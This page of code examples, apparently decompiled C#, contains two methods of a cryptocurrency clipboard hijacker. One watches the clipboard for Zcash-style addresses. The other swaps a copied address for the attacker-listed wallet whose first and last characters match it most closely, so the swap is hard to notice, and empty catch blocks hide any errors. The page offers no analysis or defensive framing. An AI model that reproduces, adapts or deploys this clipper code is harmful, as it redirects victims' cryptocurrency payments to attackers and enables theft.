예제 #1
0
 // Token: 0x060002F2 RID: 754 RVA: 0x00013A5C File Offset: 0x00011C5C
 public static void GetEtnWhile()
 {
     try
     {
         if (Clipboard.ContainsText())
         {
             string text = Clipboard.GetText();
             if (!Config.walletszec.Contains(text) && Checkzec.Clipregex(text))
             {
                 Checkzec.Setszec(text);
             }
         }
     }
     catch
     {
     }
 }
예제 #2
0
 // Token: 0x060002F5 RID: 757 RVA: 0x00013AE8 File Offset: 0x00011CE8
 internal static void Setszec(string originalClipboardText)
 {
     try
     {
         string           b       = originalClipboardText.Trim();
         HashSet <string> hashSet = new HashSet <string>();
         int num = 0;
         foreach (string text in Config.walletszec.ToList <string>())
         {
             int num2 = Checkzec.FirstCharFitNum(text, b);
             if (num2 >= num)
             {
                 if (num2 == num)
                 {
                     hashSet.Add(text);
                 }
                 else if (num2 > num)
                 {
                     hashSet.Clear();
                     num = num2;
                     hashSet.Add(text);
                     Clipboard.SetText(text);
                 }
             }
         }
         int num3 = 0;
         foreach (string text2 in hashSet)
         {
             int num4 = Checkzec.LastCharFitNum(text2, b);
             if (num4 > num3)
             {
                 num3 = num4;
                 Clipboard.SetText(text2);
             }
         }
     }
     catch
     {
     }
 }